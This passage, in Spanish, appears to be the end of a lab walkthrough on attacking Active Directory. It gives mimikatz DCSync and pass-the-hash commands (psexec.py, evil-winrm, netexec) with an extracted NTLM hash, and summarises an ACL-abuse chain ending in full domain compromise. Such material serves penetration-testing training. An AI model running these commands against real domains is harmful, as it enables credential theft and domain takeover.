
cmd
mimikatz.exe "lsadump::dcsync /domain:DOMAIN.LOCAL /user:krbtgt /csv" exit

Usar las credenciales extraídas

Pass-the-Hash con el NTLM del Administrator

bash
psexec.py administrator@172.16.5.5 -hashes :88ad09182de639ccc6579eb0849751cf

Con evil-winrm

bash
evil-winrm -i 172.16.5.5 -u administrator -H 88ad09182de639ccc6579eb0849751cf

Con netexec para verificar acceso

bash
netexec smb 172.16.5.5 -u administrator -H 88ad09182de639ccc6579eb0849751cf

Resumen del flujo completo (walkthrough end-to-end)

  • wley tiene ForceChangePassword sobre damundsen → resetear su contraseña con Set-DomainUserPassword
  • damundsen tiene GenericWrite sobre el grupo Help Desk Level 1 → agregarse con Add-DomainGroupMember
  • Help Desk Level 1 es miembro de Information Technology, que tiene GenericAll sobre adunn
  • Con GenericAll sobre adunn, asignarle un SPN falso y Kerberoastearla, o verificar que adunn ya tiene derechos de replicación
  • adunn tiene DS-Replication-Get-Changes + DS-Replication-Get-Changes-All sobre el dominio → ejecutar DCSync
  • Extraer hashes con secretsdump.py -just-dc (Linux) o mimikatz lsadump::dcsync (Windows)
  • Revisar cuentas con reversible encryption para contraseñas en texto claro adicionales
  • Usar el hash de Administrator obtenido para Pass-the-Hash y acceso total al dominio
  • Ejecutar cleanup: eliminar SPN falso, remover de grupos, restaurar contraseñas donde aplique